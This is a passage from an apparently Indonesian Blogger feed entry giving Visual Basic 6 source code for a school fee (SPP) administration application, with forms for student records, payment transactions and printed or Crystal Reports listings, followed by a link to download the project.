If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdsimpan_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;    If txtnis.Text = "" Then&lt;br /&gt;        MsgBox "NIS belum diisi", vbOKOnly, "Message Siswa"&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    If txtNama.Text = "" Or txtAlamat.Text = "" Or txtTgllahir.Text = "" _&lt;br /&gt;       Or cmbAgama.Text = "" Or cmbKelas.Text = "" _&lt;br /&gt;       Or (opt1.Value = False And opt2.Value = False) Or mskTgl.Text = "" Then&lt;br /&gt;        MsgBox "Ada yang belum diisi", vbOKOnly, "Message Siswa"&lt;br /&gt;       Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    Data1.Recordset.AddNew&lt;br /&gt;    Data1.Recordset!nis = txtnis.Text&lt;br /&gt;    Data1.Recordset!Nama = txtNama.Text&lt;br /&gt;    Data1.Recordset!alamat = txtAlamat.Text&lt;br /&gt;    Data1.Recordset!telepon = txtTelepon.Text&lt;br /&gt;    Data1.Recordset!ttl = txtTgllahir.Text&lt;br /&gt;    Data1.Recordset!agama = cmbAgama.Text&lt;br /&gt;    Data1.Recordset!kelas = cmbKelas.Text&lt;br /&gt;    Data1.Recordset!thnmsk = mskTgl.Text&lt;br /&gt;    If opt1.Value = True Then&lt;br /&gt;    Data1.Recordset!jk = "L"&lt;br /&gt;    Else&lt;br /&gt;      Data1.Recordset!jk = "P"&lt;br /&gt;      End If&lt;br /&gt;    Data1.Recordset!spp = txtspp.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    bersih&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;  &lt;br /&gt;Private Sub cmdupdate_Click()&lt;br /&gt;    Data1.Recordset.Edit&lt;br /&gt;    Data1.Recordset!nis = txtnis.Text&lt;br /&gt;    Data1.Recordset!Nama = txtNama.Text&lt;br /&gt;    Data1.Recordset!alamat = txtAlamat.Text&lt;br /&gt;    Data1.Recordset!telepon = txtTelepon.Text&lt;br /&gt;    Data1.Recordset!ttl = txtTgllahir.Text&lt;br /&gt;    Data1.Recordset!agama = cmbAgama.Text&lt;br /&gt;    Data1.Recordset!kelas = cmbKelas.Text&lt;br /&gt;    Data1.Recordset!thnmsk = mskTgl.Text&lt;br /&gt;   If opt1.Value = True Then&lt;br /&gt;    Data1.Recordset!jk = "L"&lt;br /&gt;    Else&lt;br /&gt;      Data1.Recordset!jk = "P"&lt;br /&gt;      End If&lt;br /&gt;    Data1.Recordset!spp = txtspp.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    bersih&lt;br /&gt;    cmdupdate.Enabled = False&lt;br /&gt;    txtnis.Enabled = True&lt;br /&gt;    cmdsimpan.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;    bersih&lt;br /&gt;    txtnis.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub text1_Change()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mskTgl_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtspp.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub opt1_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtTgllahir.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub opt2_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtTgllahir.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub SSTab1_DblClick()&lt;br /&gt;Data1.Refresh&lt;br /&gt;DBGrid1.Refresh&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtalamat_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;opt1.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcarinama_Change()&lt;br /&gt;    Data1.Recordset.Index = "namapel"&lt;br /&gt;    Data1.Recordset.Seek "&lt;=", Trim(Txtcarinama.Text) &amp;amp; "zzz"&lt;br /&gt;    If Data1.Recordset.NoMatch Then&lt;br /&gt;        MsgBox "Data tidak ada", vbOKOnly, "Message Siswa"&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;   cmdhapus.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Txtcarinis_Change()&lt;br /&gt; cmdhapus.Enabled = False&lt;br /&gt;    If Len(Txtcarinis.Text) &lt; 5 Then&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    Data1.Recordset.Index = "nispel"&lt;br /&gt;    Data1.Recordset.Seek "=", Txtcarinis.Text&lt;br /&gt;    If Data1.Recordset.NoMatch Then&lt;br /&gt;        MsgBox "Data tidak ada", vbOKOnly, "Message Siswa"&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    cmdhapus.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtkelas_KeyPress(KeyAscii As Integer)&lt;br /&gt;    If Not (KeyAscii &gt;= Asc("1") And KeyAscii &lt;= Asc("3") Or KeyAscii = vbKeyBack) Then&lt;br /&gt;        Beep&lt;br /&gt;        KeyAscii = 0&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcariNis_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnama_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtAlamat.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnis_Change()&lt;br /&gt;    Dim X As Byte&lt;br /&gt;    If Len(txtnis.Text) &lt; 10 Then&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    cmdsimpan.Enabled = True&lt;br /&gt;    txtNama.SetFocus&lt;br /&gt;    Data1.Recordset.Index = "nispel"&lt;br /&gt;    Data1.Recordset.Seek "=", txtnis.Text&lt;br /&gt;    If Not Data1.Recordset.NoMatch Then&lt;br /&gt;        cmdupdate.Enabled = True&lt;br /&gt;        tampil&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Txtnis_LostFocus()&lt;br /&gt;     cmdbatal.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtspp_KeyPress(KeyAscii As Integer)&lt;br /&gt;     If Not (KeyAscii &gt;= Asc("0") And KeyAscii &lt;= Asc("9") Or KeyAscii = vbKeyBack) Then&lt;br /&gt;        Beep&lt;br /&gt;        KeyAscii = 0&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnis_KeyPress(KeyAscii As Integer)&lt;br /&gt;    KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtTelepon_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;cmbKelas.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtTgllahir_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;cmbAgama.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'code form cetak&lt;br /&gt;Dim p As Printer&lt;br /&gt;&lt;br /&gt;Private Sub cmdList_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub preview()&lt;br /&gt;Dim mno, mhal, mbaris, X As Integer&lt;br /&gt;    Dim mnilai, msubtotal, mtotal As Single&lt;br /&gt;    Dim mgrs As String&lt;br /&gt;    On Error GoTo 0&lt;br /&gt;    With dbtran.Recordset&lt;br /&gt;        'pb.Min = 1&lt;br /&gt;        'pb.Max = .RecordCount&lt;br /&gt;        .MoveFirst&lt;br /&gt;        Printer.CurrentX = 5&lt;br /&gt;        Printer.CurrentY = 5&lt;br /&gt;        mhal = 0&lt;br /&gt;        mno = 0&lt;br /&gt;        mtotal = 0&lt;br /&gt;        Do&lt;br /&gt;            mhal = mhal + 1&lt;br /&gt;            Form2.FontSize = Val(cbs.Text) * 2&lt;br /&gt;            Form2.FontBold = True&lt;br /&gt;            Form2.Print "Data Pembayaran SPP"&lt;br /&gt;            Form2.Print "SD Negeri 01 Blimbing - Malang"&lt;br /&gt;            Form2.FontSize = cbs.Text&lt;br /&gt;            Form2.FontBold = False&lt;br /&gt;            Form2.Print&lt;br /&gt;            Form2.Print Tab(10); "Kelas : "; !kelas;&lt;br /&gt;            Form2.Print Tab(100); "Hal :"; Format(mhal, "###")&lt;br /&gt;            Form2.Print&lt;br /&gt;            mgrs = String$(200, "-")&lt;br /&gt;            Form2.Print mgrs&lt;br /&gt;            Form2.Print Tab(2); "No. Tran";&lt;br /&gt;            Form2.Print Tab(10); "Tgl. Pem";&lt;br /&gt;            Form2.Print Tab(20); "NIS";&lt;br /&gt;            Form2.Print Tab(45); "Kelas";&lt;br /&gt;            Form2.Print Tab(60); "NIP";&lt;br /&gt;            Form2.Print Tab(70); "Bayar";&lt;br /&gt;            Form2.Print&lt;br /&gt;            Form2.Print mgrs&lt;br /&gt;            Form2.Print&lt;br /&gt;            mbaris = 0&lt;br /&gt;            msubtotal = 0&lt;br /&gt;            Do&lt;br /&gt;                mno = mno + 1&lt;br /&gt;                pb.Value = mno&lt;br /&gt;                Form2.Print Tab(1); rkanan(mno, "#####");&lt;br /&gt;                Form2.Print Tab(10); !nis;&lt;br /&gt;                Form2.Print Tab(20); !kelas;&lt;br /&gt;                Form2.Print Tab(45); rkanan(!bayar, "###,###,###");&lt;br /&gt;                Form2.Print Tab(60); !terlambat;&lt;br /&gt;                Form2.Print Tab(70); !sanksi;&lt;br /&gt;              &lt;br /&gt;                mbaris = mbaris + 1&lt;br /&gt;                .MoveNext&lt;br /&gt;                If .EOF Then&lt;br /&gt;                    Exit Do&lt;br /&gt;                End If&lt;br /&gt;            Loop Until mbaris &gt; 55&lt;br /&gt;            Form2.Print&lt;br /&gt;            Form2.Print mgrs&lt;br /&gt;           ' Form2.NewPage&lt;br /&gt;            If .EOF Then&lt;br /&gt;                Exit Do&lt;br /&gt;            End If&lt;br /&gt;        Loop&lt;br /&gt;        'Form2.EndDoc&lt;br /&gt;        pb.Value = .RecordCount&lt;br /&gt;    End With&lt;br /&gt;    On Error GoTo 0&lt;br /&gt;     Exit Sub&lt;br /&gt;salahcetak:&lt;br /&gt;    Beep&lt;br /&gt;    d = MsgBox("Printer Error !" &amp;amp; Chr(13) &amp;amp; "Betulkan Printer lalu klik ok", vbOKCancel)&lt;br /&gt;    If d = 0 Then&lt;br /&gt;        Resume&lt;br /&gt;    Else&lt;br /&gt;        'Printer.KillDoc&lt;br /&gt;       &lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdprev_Click()&lt;br /&gt;With CrystalReport1&lt;br /&gt;.ReportFileName = App.Path &amp;amp; "\laptran.rpt"&lt;br /&gt;.SelectionFormula = "month({transaksi.tgl_pem})=" &amp;amp; Combo1.ListIndex + 1 &amp;amp; " "&lt;br /&gt;.RetrieveDataFiles&lt;br /&gt;.WindowShowCloseBtn = True&lt;br /&gt;.WindowState = crptMaximized&lt;br /&gt;.Action = 1&lt;br /&gt;End With&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;CrystalReport2.ReportFileName = App.Path &amp;amp; "\laptran.rpt"&lt;br /&gt;CrystalReport2.WindowState = crptMaximized&lt;br /&gt;CrystalReport2.RetrieveDataFiles&lt;br /&gt;CrystalReport2.Action = 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;frmPrint.Visible = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;dbtran.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;dbtran.RecordSource = "Select * From transaksi"&lt;br /&gt;For bln = 1 To 12&lt;br /&gt;    bulan = Choose(bln, "januari", "februari", "maret", "april", "mei", "juni", "juli", "agustus", "september", "oktober", "november", "desember") &amp;amp; " " &amp;amp; Str(Year(Date))&lt;br /&gt;    Combo1.AddItem bulan&lt;br /&gt;Next&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cmdRefresh_Click()&lt;br /&gt; dbtran.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;dbtran.RecordSource = "Select * From transaksi"&lt;br /&gt;  dbtran.Refresh&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cbf_Click()&lt;br /&gt;    cbf.FontName = cbf.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cbp_Click()&lt;br /&gt;    For Each p In Printers&lt;br /&gt;        If p.DeviceName = cbp.Text Then&lt;br /&gt;            Set Printer = p&lt;br /&gt;            Exit For&lt;br /&gt;        End If&lt;br /&gt;    Next&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cbs_Click()&lt;br /&gt;    cbs.FontSize = cbs.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdcetak_Click()&lt;br /&gt;    Dim mno, mhal, mbaris, X As Integer&lt;br /&gt;    Dim mnilai, msubtotal, mtotal As Single&lt;br /&gt;    Dim mgrs As String&lt;br /&gt;    On Error GoTo 0&lt;br /&gt;    With dbtran.Recordset&lt;br /&gt;        'pb.Min = 1&lt;br /&gt;        'pb.Max = .RecordCount&lt;br /&gt;        .MoveFirst&lt;br /&gt;        Printer.CurrentX = 5&lt;br /&gt;        Printer.CurrentY = 5&lt;br /&gt;        mhal = 0&lt;br /&gt;        mno = 0&lt;br /&gt;        mtotal = 0&lt;br /&gt;        Do&lt;br /&gt;            mhal = mhal + 1&lt;br /&gt;            Printer.FontSize = Val(cbs.Text) * 2&lt;br /&gt;            Printer.FontBold = True&lt;br /&gt;            Printer.Print "Data Pembayaran SPP"&lt;br /&gt;            Printer.Print "SD Negeri 01 Blimbing - Malang"&lt;br /&gt;            Printer.FontSize = cbs.Text&lt;br /&gt;            Printer.FontBold = False&lt;br /&gt;            Printer.Print&lt;br /&gt;            Printer.Print Tab(10); "Kelas : "; !kelas;&lt;br /&gt;            Printer.Print Tab(100); "Hal :"; Format(mhal, "###")&lt;br /&gt;            Printer.Print&lt;br /&gt;            mgrs = String$(200, "-")&lt;br /&gt;            Printer.Print mgrs&lt;br /&gt;            Printer.Print Tab(2); "No. Tran";&lt;br /&gt;            Printer.Print Tab(10); "Tgl. Pem";&lt;br /&gt;            Printer.Print Tab(20); "NIS";&lt;br /&gt;            Printer.Print Tab(45); "Kelas";&lt;br /&gt;            Printer.Print Tab(60); "NIP";&lt;br /&gt;            Printer.Print Tab(70); "Bayar";&lt;br /&gt;           &lt;br /&gt;            Printer.Print&lt;br /&gt;            Printer.Print mgrs&lt;br /&gt;            Printer.Print&lt;br /&gt;            mbaris = 0&lt;br /&gt;            msubtotal = 0&lt;br /&gt;            Do&lt;br /&gt;                mno = mno + 1&lt;br /&gt;                pb.Value = mno&lt;br /&gt;                Printer.Print Tab(1); rkanan(mno, "#####");&lt;br /&gt;                Printer.Print Tab(10); !nis;&lt;br /&gt;                Printer.Print Tab(20); !kelas;&lt;br /&gt;                Printer.Print Tab(45); rkanan(!bayar, "###,###,###");&lt;br /&gt;                Printer.Print Tab(60); !terlambat;&lt;br /&gt;                Printer.Print Tab(70); !sanksi;&lt;br /&gt;              &lt;br /&gt;                mbaris = mbaris + 1&lt;br /&gt;                .MoveNext&lt;br /&gt;                If .EOF Then&lt;br /&gt;                    Exit Do&lt;br /&gt;                End If&lt;br /&gt;            Loop Until mbaris &gt; 55&lt;br /&gt;            Printer.Print&lt;br /&gt;            Printer.Print mgrs&lt;br /&gt;            Printer.NewPage&lt;br /&gt;            If .EOF Then&lt;br /&gt;                Exit Do&lt;br /&gt;            End If&lt;br /&gt;        Loop&lt;br /&gt;        Printer.EndDoc&lt;br /&gt;        pb.Value = .RecordCount&lt;br /&gt;    End With&lt;br /&gt;    On Error GoTo 0&lt;br /&gt;   &lt;br /&gt;    Exit Sub&lt;br /&gt;salahcetak:&lt;br /&gt;    Beep&lt;br /&gt;    d = MsgBox("Printer Error !" &amp;amp; Chr(13) &amp;amp; "Betulkan Printer lalu klik ok", vbOKCancel)&lt;br /&gt;    If d = 0 Then&lt;br /&gt;        Resume&lt;br /&gt;    Else&lt;br /&gt;        Printer.KillDoc&lt;br /&gt;       &lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub opmiring_Click()&lt;br /&gt;    Printer.Orientation = vbPRORLandscape&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub opportait_Click()&lt;br /&gt;    Printer.Orientation = vbPRORPortrait&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcopy_LostFocus()&lt;br /&gt;    If Val(txtcopy.Text) &lt;&gt; 10 Then&lt;br /&gt;        Beep&lt;br /&gt;        txtcopy.SetFocus&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Function rkanan(ndata, cformat) As String&lt;br /&gt;    rkanan = Format(ndata, cformat)&lt;br /&gt;    rkanan = Space(Len(cformat) - Len(rkanan)) + rkanan&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub UpDown1_Change()&lt;br /&gt;    txtcopy.Text = UpDown1.Value&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'code formspp&lt;br /&gt;&lt;br /&gt;Dim DB As Database&lt;br /&gt;Dim RSsiswa As Recordset&lt;br /&gt;Dim RStran As Recordset&lt;br /&gt;&lt;br /&gt;Private Function clear()&lt;br /&gt;    Text3.Text = ""&lt;br /&gt;    Text4.Text = ""&lt;br /&gt;    Text5.Text = ""&lt;br /&gt;    Text6.Text = ""&lt;br /&gt;    Text7.Text = ""&lt;br /&gt;    Text8.Text = ""&lt;br /&gt;    Text9.Text = ""&lt;br /&gt;    Text10.Text = ""&lt;br /&gt;    Text12.Text = ""&lt;br /&gt;    DBCombo1.Text = ""&lt;br /&gt;    DBCombo2.Text = ""&lt;br /&gt;    Combo1.Text = ""&lt;br /&gt;    Cmdsimpan.Enabled = False&lt;br /&gt;    cmdupdate.Enabled = False&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cmdupdate_Click()&lt;br /&gt;    Data1.Recordset.Edit&lt;br /&gt;    Data1.Recordset!Notran = Text1.Text&lt;br /&gt;    Data1.Recordset!tgl_pem = Text2.Text&lt;br /&gt;    Data1.Recordset!nis = DBCombo1.Text&lt;br /&gt;    Data1.Recordset!kelas = Text4.Text&lt;br /&gt;    Data1.Recordset!nip = DBCombo2.Text&lt;br /&gt;    Data1.Recordset!bayar = Text7.Text&lt;br /&gt;    Data1.Recordset!ket = Text8.Text&lt;br /&gt;    Data1.Recordset!terlambat = Text10.Text&lt;br /&gt;    Data1.Recordset!sanksi = Combo1.Text&lt;br /&gt;    Data1.Recordset!ket_sanksi = Text12.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    clear&lt;br /&gt;    Text1.Enabled = True&lt;br /&gt;    Text1.Text = ""&lt;br /&gt;    Text1.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;    s = MsgBox("Data akan dihapus ?", vbOKCancel, "PERHATIAN")&lt;br /&gt;    If s = vbOK Then&lt;br /&gt;        Data1.Recordset.Delete&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub DBCombo1_Change()&lt;br /&gt;Data2.Recordset.Index = "nispel"&lt;br /&gt;    Data2.Recordset.Seek "=", DBCombo1.Text&lt;br /&gt;    If Not Data2.Recordset.NoMatch Then&lt;br /&gt;    Text3.Text = Data2.Recordset!Nama&lt;br /&gt;    Text4.Text = Data2.Recordset!kelas&lt;br /&gt;    Text5.Text = Format(Data2.Recordset!spp, "#,#,0")&lt;br /&gt;    Text9.Text = Format$(Data2.Recordset!thnmsk, "dddd, dd MMMM yyyy")&lt;br /&gt;    'Text10.Text = Val(Data2.Recordset!thnmsk) - (Format$(Date, "dd mm"))&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub DBCombo2_Change()&lt;br /&gt;Data3.Recordset.Index = "idx_nip"&lt;br /&gt;    Data3.Recordset.Seek "=", DBCombo2.Text&lt;br /&gt;    If Not Data3.Recordset.NoMatch Then&lt;br /&gt;    Text6.Text = Data3.Recordset!Nama&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;Text1.Text = ""&lt;br /&gt;Text1.SetFocus&lt;br /&gt;clear&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Data1.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;Data1.RecordSource = "transaksi"&lt;br /&gt;Data2.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;Data2.RecordSource = "siswa"&lt;br /&gt;Data3.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;Data3.RecordSource = "guru"&lt;br /&gt; Text2.Text = Date&lt;br /&gt;   Combo1.List(0) = "Peringatan"&lt;br /&gt;   Combo1.List(1) = "Denda"&lt;br /&gt;   Combo1.List(2) = "Skors"&lt;br /&gt;   Combo1.List(3) = "Dikeluarkan"&lt;br /&gt; End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdbatal_Click()&lt;br /&gt;    clear&lt;br /&gt;    Text1.Enabled = True&lt;br /&gt;    Text1.Text = ""&lt;br /&gt;    Text1.SetFocus&lt;br /&gt;   &lt;br /&gt; End Sub&lt;br /&gt;&lt;br /&gt;'Private Sub mnentry_Click()&lt;br /&gt;'    Dim I As Byte&lt;br /&gt;' For I = 0 To 3&lt;br /&gt;'    txtno.Text = ""&lt;br /&gt;'Next I&lt;br /&gt;'txtno.SetFocus&lt;br /&gt;'End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdkeluar_Click()&lt;br /&gt;    Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnreport_Click()&lt;br /&gt;    'frmlapspp.Show&lt;br /&gt;    'frmspp.Hide&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdsimpan_Click()&lt;br /&gt;Dim tgl As Date&lt;br /&gt;If Text1.Text = "" Or Text2.Text = "" Or DBCombo1.Text = "" Or DBCombo2.Text = "" Or Text7.Text = "" Or Text8.Text = "" Then&lt;br /&gt;    MsgBox "Ada yang belum terisi !!", vbOKOnly, "Pesan Transaksi"&lt;br /&gt;    Else&lt;br /&gt;    Data1.Recordset.AddNew&lt;br /&gt;    Data1.Recordset!Notran = Text1.Text&lt;br /&gt;    Data1.Recordset!tgl_pem = Text2.Text&lt;br /&gt;    Data1.Recordset!nis = DBCombo1.Text&lt;br /&gt;    Data1.Recordset!kelas = Text4.Text&lt;br /&gt;    Data1.Recordset!nip = DBCombo2.Text&lt;br /&gt;    Data1.Recordset!bayar = Text7.Text&lt;br /&gt;    Data1.Recordset!ket = Text8.Text&lt;br /&gt;    Data1.Recordset!terlambat = Text10.Text&lt;br /&gt;    Data1.Recordset!sanksi = Combo1.Text&lt;br /&gt;    Data1.Recordset!ket_sanksi = Text12.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    clear&lt;br /&gt;    Text1.Text = ""&lt;br /&gt;    Text1.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub text1_Change()&lt;br /&gt;     If Len(Text1.Text) &lt; 6 Then&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    Cmdsimpan.Enabled = True&lt;br /&gt;    DBCombo1.SetFocus&lt;br /&gt;    Data1.Recordset.Index = "notran"&lt;br /&gt;    Data1.Recordset.Seek "=", Text1.Text&lt;br /&gt;    If Not Data1.Recordset.NoMatch Then&lt;br /&gt;    tampil&lt;br /&gt;    Text7.Text = Format(Data1.Recordset!bayar, "#,#,0")&lt;br /&gt;    Text8.Text = Data1.Recordset!ket&lt;br /&gt;    Text10.Text = Data1.Recordset!terlambat&lt;br /&gt;     Combo1.Text = Data1.Recordset!sanksi&lt;br /&gt;    Text12.Text = Data1.Recordset!ket_sanksi&lt;br /&gt;    cmdupdate.Enabled = True&lt;br /&gt;    Cmdsimpan.Enabled = False&lt;br /&gt;    End If&lt;br /&gt;   &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Function tampil()&lt;br /&gt;On Error Resume Next&lt;br /&gt;    Text1.Enabled = False&lt;br /&gt;    DBCombo1.Text = Data1.Recordset!nis&lt;br /&gt;    DBCombo2.Text = Data1.Recordset!nip&lt;br /&gt;    Text7.Text = Data1.Recordset!bayar&lt;br /&gt;    Text8.Text = Data1.Recordset!ket&lt;br /&gt;    Text9.Text = Data1.Recordset!batas&lt;br /&gt;    Text10.Text = Data1.Recordset!terlambat&lt;br /&gt;    Text12.Text = Data1.Recordset!ket_sanksi&lt;br /&gt;    End Function&lt;br /&gt;&lt;br /&gt;Private Sub Text1_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text11_Change()&lt;br /&gt;Cmdhapus.Enabled = False&lt;br /&gt;    If Len(Text11.Text) &lt; 6 Then&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    Data1.Recordset.Index = "notran"&lt;br /&gt;    Data1.Recordset.Seek "=", Text11.Text&lt;br /&gt;    If Data1.Recordset.NoMatch Then&lt;br /&gt;        MsgBox "Data tidak ada", vbOKOnly, "PERHATIAN"&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    Cmdhapus.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text11_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text2_Change()&lt;br /&gt;Text2.Text = Date&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text7_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;Text8.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text8_Change()&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;Text10.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Nah untuk source codenya silakan disedot &lt;a href="http://www.ziddu.com/download/4542326/setup.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3411863945967458763?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3411863945967458763/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3411863945967458763' title='5 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3411863945967458763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3411863945967458763'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/04/membuat-aplikasi-administrasi.html' title='Membuat aplikasi administrasi pembayaran spp sekolah'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SfmiOeyL_sI/AAAAAAAAAIY/iljmTl8LsUY/s72-c/skul.bmp' height='72' 